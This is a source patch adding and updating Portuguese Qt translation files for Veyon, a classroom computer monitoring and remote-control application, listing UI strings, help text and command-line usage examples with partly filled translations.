+ + &Help + A&juda + + + &Quit + &Sair + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + Carregar c&onfigurações do arquivo + + + Ctrl+O + Ctrl+O + + + About Qt + Sobre o QT + + + Authentication impossible + Autenticação impossível + + + Configuration not writable + Configuração não gravável + + + Load settings from file + Carregar configurações de um arquivo + + + Save settings to file + Salvar configurações para arquivo + + + Unsaved settings + Configurações não salvas + + + There are unsaved settings. Quit anyway? + Existem configurações não salvas. Sair mesmo assim? + + + Veyon Configurator + Configurador Veyon + + + Service + Serviço + + + Master + Mestre + + + Access control + Controle de acesso + + + About Veyon + Sobre o Veyon + + + Auto + Auto + + + Computer rooms + Salas de computador + + + About + Sobre + + + %1 Configurator %2 + %1 Configurador %2 + + + JSON files (*.json) + arquivos JSON (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + O backend de configuração local relatou que a configuração não é gravável! Por favor execute o Configurador %1 com privilégios mais altos. + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + Nenhum arquivo de autenticação de chave foi encontrado ou as existentes estão desatualizadas. Por favor crie novos arquivos de chave usando o Configurador %1. Alternativamente, configure a autenticação local usando o Configurador %1. Caso contrário você não poderá acessar computadores usando o %1. + + + Access denied + Acesso negado + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + De acordo com a configuração local você não tem permissão de acessar computadores na rede. Por favor entre com uma conta diferente or deixe o seu administrador de sistemas verificar a configuração local. + + + Screenshots + Capturas de tela + + + Feature active + Funcionalidade ativo + + + The feature "%1" is still active. Please stop it before closing %2. + A funcionalidade "%1" ainda está ativa. Por favor pare-a antes de fechar o %2. + + + Reset configuration + Resetar configuração + + + Do you really want to reset the local configuration and revert all settings to their defaults? + Você quer mesmo resetar a configuração local e revertê-las para o modo padrão? + + + Search users and computers + Buscar usuários e computadores + + + Adjust optimal size + Ajustar janelas e seus tamanhos + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + Configurador %1 + + + Insufficient privileges + Privilégios insuficientes + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + Diretórios + + + ... + ... + + + User configuration + Configuração de usuário + + + Feature on computer double click: + No clique duplo: + + + Automatically switch to current room at start + Trocar para sala atual automaticamente ao iniciar + + + Features + Funcionalidades + + + All features + Todos as funcionalidades + + + Disabled features + Funcionalidades desativadas + + + Perform access control at program start + Executar controle de acesso ao iniciar programa + + + Screenshots + Capturas de tela + + + <no feature> + <no feature> + + + Automatically adjust computer thumbnail size at start + Ajustar tamanho de thumbnail do computador automaticamente ao iniciar + + + Basic settings + Configurações básicas + + + Behaviour + Comportamento + + + Enforce selected mode for client computers + Aplicar modo selecionado para computadores cliente + + + Only show current room + Exibir apenas a sala atual + + + Allow adding rooms manually + Permitir adicionar salas manualmente + + + Hide local computer + Ocultar computador local + + + Hide empty rooms + Ocultar salas vazias + + + Hide computer filter field + Ocultar campo de filtros de computadores + + + Actions such as rebooting or powering down computers + Ações como reiniciar ou desligar computadores + + + Show confirmation dialog for potential dangerous actions + Exibir diálogo de confirmação para ações potencialmente perigosas + + + User interface + Interface do usuário + + + Background color + Cor de plano de fundo + + + Thumbnail update interval + + + + ms + ms + + + Program start + Iniciar programa + + + Modes and features + Modos e funcionalidades + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + Salas de computador + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + Monitoramento + + + Builtin monitoring mode + Modo de monitoramento embutido + + + This is the default mode and allows you to monitor all computers in one or more rooms. + Esse é o modo padrão e permite que você monitore todos os computadores em uma ou mais salas + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + Teste + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + ms + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + Sala/Computador + + + + PasswordDialog + + Username + Nome de usuário + + + Password + Senha + + + Veyon Logon + Logon Veyon + + + Authentication error + Erro de autenticação + + + Logon failed with given username and password. Please try again! + Falha no logon com o nome de usuário e senha fornecidos. Por favor tente novamente! + + + Please enter your username and password in order to access computers. + Por favor digite o seu nome de usuário e senha para poder acessar os computadores. + + + + PowerControlFeaturePlugin + + Power on + Ligar + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + Clique neste botão para ligar todos os computadores. Desse jeito você não precisará ligar cada computador manualmente. + + + Reboot + Reiniciar + + + Click this button to reboot all computers. + Clique neste botão para reiniciar todos os computadores. + + + Power down + Desligar + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + Clique neste botão para desligar todos os computadores. Desse jeito você não precisará desligar cada computador manualmente. + + + Power on/down or reboot a computer + Ligar/desligar ou reiniciar um computador + + + Confirm reboot + Confirmar reiniciamento + + + Confirm power down + Confirmar desligamento + + + Do you really want to reboot the selected computers? + Tem certeza que quer reiniciar todos os computadores selecionados? + + + Do you really want to power down the selected computer? + Tem certeza que quer desligar os computadores selecionados? + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + Exibir tela + + + Open a remote view for a computer without interaction. + Exibe a tela de um computador sem interação. + + + Remote control + Controlar remotamente + + + Open a remote control window for a computer. + Abra uma janela de controle remoto para um computador. + + + Remote access + Acesso remoto + + + Remote view or control a computer + Exibir tela ou controlar um computador + + + Please enter the hostname or IP address of the computer to access: + Por favor digite o hostname ou endereço IP do computador para acessar: + + + Show help about command + Mostrar ajuda sobre comando + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + Visualizar somente + + + Remote control + Controlar remotamente + + + Send shortcut + Enviar atalho + + + Fullscreen + Tela cheia + + + Window + Janela + + + Quit + Sair + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + Menu + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + Conectando %1 + + + Connected. + Conectado. + + + Screenshot + Captura de tela + + + + RoomSelectionDialog + + Room selection + Seleção de salas + + + enter search filter... + insira o filtro de pesquisa... + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + Por favor digite os programas ou comandos para executar no(s) computador(s) selecionado(s). Você pode separar múltiplos programas/comandos por linha. + + + Run programs + Executar programas + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + e.g. "C:\Arquivos de Programas\VideoLAN\VLC\vlc.exe" + + + + ScreenLockFeaturePlugin + + Lock + Bloquear computador + + + Unlock + Desbloquear computador + + + Lock screen and input devices of a computer + Bloquear a tela e dispositivos de entrada de um computador + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + Com esse botão, você pode bloquear os computadores de todos os usuários para chamar a atenção deles. Nesse modo todos os dispositivos de entrada são travados e as telas são desligadas. + + + + Screenshot + + unknown + desconhecido + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + Não foi possível tirar uma captura de tela porque o diretório %1 não existe e não pôde ser criado. + + + Screenshot + Captura de tela + + + + ScreenshotFeaturePlugin + + Screenshot + Captura de tela + + + Use this function to take a screenshot of selected computers. + Utilize esta função para tirar uma captura de tela dos computadores selecionados. + + + Screenshots taken + Capturas de tela tiradas + + + Screenshot of %1 computer have been taken successfully. + Captura de tela do computador %1 foi tirada com sucesso + + + Take screenshots of computers and save them locally. + Tire capturas de tela de computadores e salve-as localmente. + + + + ScreenshotManagementView + + User: + Usuário: + + + Date: + Data: + + + Time: + Hora: + + + Show + Exibir + + + Delete + Excluir + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + Todas as capturas de tela tiradas por você estão listadas aqui. Você pode tirar capturas de tela clicando no item "Captura de tela" em um menu de contexto de um computador. As capturas de tela podem ser gerenciadas usando os botões abaixo. + + + Computer: + Computador: + + + + ServiceConfigurationPage + + General + Geral + + + Autostart + Iniciar automaticamente + + + Hide tray icon + Ocultar ícone da área de notificação + + + Start service + Iniciar serviço + + + Stopped + Parado + + + Stop service + Parar serviço + + + State: + Estado: + + + Enable SAS generation by software (Ctrl+Alt+Del) + Permitir geração SAS por software (Ctrl+Alt+Del) + + + Network + Rede + + + Demo server port + Exibir porta do servidor + + + Enable firewall exception + Habilitar exceção de firewall + + + Allow connections from localhost only + Permitir conexões de localhost apenas + + + Internal VNC server port + Porta do servidor VNC interno + + + VNC server + Servidor VNC + + + Plugin: + Plugin: + + + Restart %1 Service + Reiniciar Serviço %1 + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + Todas as configurações foram salvas com sucesso. Para entrarem em efeito, o serviço %1 precisa ser reiniciado. Reiniciá-lo agora? + + + Running + Em execução + + + Feature manager port + Porta de gerenciador de funcionalidades + + + Primary service port + Porta de serviço primário + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + Serviço em execução + + + Service is not running + Serviço não está em execução + + + Configure and control Veyon service + Configurar e controlar serviço Veyon + + + Register Veyon Service + Registrar serviço Veyon + + + Unregister Veyon Service + Cancelar registro do serviço Veyon + + + Start Veyon Service + Iniciar Serviço Veyon + + + Stop Veyon Service + Parar Serviço Veyon + + + Restart Veyon Service + Reiniciar Serviço Veyon + + + Query status of Veyon Service + Estado de query do Serviço Veyon + + + Commands for configuring and controlling Veyon Service + Comandos para configurar e controlar o Serviço Veyon + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + Ícone de bandeja do sistema + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + Enviar mensagem de texto + + + Use the field below to type your message which will be sent to all selected users. + Use o campo abaixo para digitar sua mensagem que será enviada para todos os usuários selecionados. + + + + TextMessageFeaturePlugin + + Text message + Mensagem de texto + + + Use this function to send a text message to all users e.g. to assign them new tasks. + Use esta função para enviar uma mensagem de texto para todos usuários e.g. para atribuir-lhes novas tarefas. + + + Message from teacher + Mensagem do Professor + + + Send a message to a user + Enviar uma mensagem para um usuário + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Habilitar captura de janelas em camadas (semi-transparente) + + + Poll full screen (leave this enabled per default) + Captar em tela cheia (deixar esta opção habilitada por padrão) + + + Low accuracy (turbo mode) + Baixa precisão (modo turbo) + + + Builtin UltraVNC server configuration + Configuração de servidor UltraVNC embutido + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + Sem acesso de escrita + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + Não foi possível salvar suas configurações pessoais! Por favor verifique o arquivo de configuração usando o configurador %1. + + + + UserSessionControl + + User session control + Controle de sessão do usuário. + + + Click this button to logout users from all computers. + Clique nesse botão para fazer o logoff de todos os usuários dos computadores. + + + Confirm user logout + Confirmar logout de usuário + + + Do you really want to logout the selected users? + Tem certeza que quer fazer logout dos usuários selecionados? + + + Logout + + + + + VeyonCore + + [OK] + [OK] + + + [FAIL] + [FALHA] + + + Invalid command! + Comando inválido! + + + Available commands: + Comandos disponíveis: + + + Invalid arguments given + Argumentos inválidos + + + Not enough arguments given - use "%1 help" for more information + Argumentos dados insuficientes - use "Ajuda %1" para mais informação + + + Unknown result! + Resultado desconhecido! + + + Available modules: + Módulos disponíveis: + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + Estabelecendo conexão para %1 ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + Plugin implementando funções abstratas para a plataforma WIndows + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + Configuração de servidor x11vnc embutida + + + Custom x11vnc parameters: + parâmetros x11vnc personalizados: + + + Do not use X Damage extension + Não use extensão X Damage + + + \ No newline at end of file diff --git a/translations/pt_PT.ts b/translations/pt_PT.ts new file mode 100644 index 0000000..4b66f9a --- /dev/null +++ b/translations/pt_PT.ts @@ -0,0 +1,3815 @@ + + + AboutDialog + + About + Acerca + + + Translation + Tradução + + + License + Licença + + + About Veyon + Acerca de Veyon + + + Contributors + Colaboradores + + + Version: + Versão: + + + Website: + + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + + + + About %1 %2 + + + + Support Veyon project with a donation + Suporta o projecto Veyon com um donativo + + + + AccessControlPage + + Computer access control + + + + Grant access to every authenticated user (default) + Permite acesso a todos os utilizadores autenticados (por defeito) + + + Test + Teste + + + Restrict access to members of certain user groups + Restringe o acesso a membros de um determinado grupo de utilizadores + + + Process access control rules + + + + User groups authorized for computer access + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + + + + Authorized user groups + + + + All groups + + + + ... + + + + Access control rules + + + + Add access control rule + + + + Remove access control rule + + + + Move selected rule down + + + + Move selected rule up + + + + Edit selected rule + + + + Enter username + + + + Please enter a user login name whose access permissions to test: + + + + Access allowed + + + + The specified user is allowed to access computers with this configuration. + + + + Access denied + + + + The specified user is not allowed to access computers with this configuration. + + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + + + + General + + + + enter a short name for the rule here + + + + Rule name: + + + + enter a description for the rule here + + + + Rule description: + + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + Conditions + + + + is member of group + + + + is located in room + + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + + Action + + + + Allow access + + + + Deny access + + + + Ask logged on user for permission + + + + None (rule disabled) + + + + Accessing user + + + + Accessing computer + + + + Local (logged on) user + + + + Local computer + + + + Always process rule and ignore conditions + + + + No user logged on + + + + Accessing computer is located in the same room as local computer + + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + + + + Accessing user: + + + + Local computer: + + + + Accessing computer: + + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + + + + Connected users: + + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + + + + Test result + + + + + AuthKeysConfigurationPage + + Authentication keys + + + + Introduction + + + + Key file directories + + + + Public key file base directory + + + + Private key file base directory + + + + ... + + + + Available authentication keys + + + + Create key pair + + + + Delete key + + + + Import key + + + + Export key + + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + + + + Type + + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + + + + Rooms + + + + Computers + + + + Name + + + + Host address/IP + + + + MAC address + + + + Add new room + + + + Remove selected room + + + + Add new computer + + + + Remove selected computer + + + + New room + + + + New computer + + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + + + + Clear all rooms and computers + + + + Dump all or individual rooms and computers + + + + List all rooms and computers + + + + Remove a room or computer + + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + + + + Name + + + + Host address + + + + MAC address + + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + + + + Computer + + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + + + + + ComputerControlListModel + + Room: %1 + + + + Host/IP address: %1 + + + + Active features: %1 + + + + Online and connected + + + + Establishing connection + + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + + + + No user logged on + + + + Logged on user: %1 + + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + + + + Remote access + + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + + + + Add room + + + + Save computer/user list + + + + Select output filename + + + + CSV files (*.csv) + + + + File error + + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + + + + + ComputerManager + + User + + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + + + + Room detection failed + + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + + + + Output directory is not writable! + + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + + + + + DemoConfigurationPage + + Demo server + + + + Tunables + + + + ms + + + + Key frame interval + + + + Memory limit + + + + Use multithreading (experimental) + + + + MB + + + + Update interval + + + + s + + + + + DemoFeaturePlugin + + Fullscreen demo + Demonstração em ecrã inteiro + + + Stop demo + + + + Window demo + Demonstração em janela + + + Give a demonstration by screen broadcasting + + + + Demo server + + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + Confirme acesso ao Ambiente de Trabalho + + + Never for this session + + + + Always for this session + + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + + + + Open website + + + + Click this button to open a website on all computers. + + + + Please enter the URL of the website to open: + + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + + + + Port: + + + + Password: + + + + + FeatureControl + + Feature control + + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + + + + Language: + + + + Use system language setting + + + + Veyon + + + + Logging + + + + Log file directory + + + + ... + + + + Log level + + + + Nothing + + + + Only critical messages + + + + Errors and critical messages + + + + Warnings and errors + + + + Information, warnings and errors + + + + Debug messages and everything else + + + + Limit log file size + + + + Clear all log files + + + + Log to standard error output + + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + + + + All log files were cleared successfully. + + + + Error + + + + Could not remove all log files. + + + + MB + + + + Rotate log files + + + + x + + + + seconds + + + + Write to logging system of operating system + + + + Authentication + + + + Method: + + + + Logon authentication + + + + Key file authentication + + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + + + + Allow access to the internet + + + + Show help about command + + + + Block internet + + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + + + + Basic settings + + + + General + + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + Teste + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + 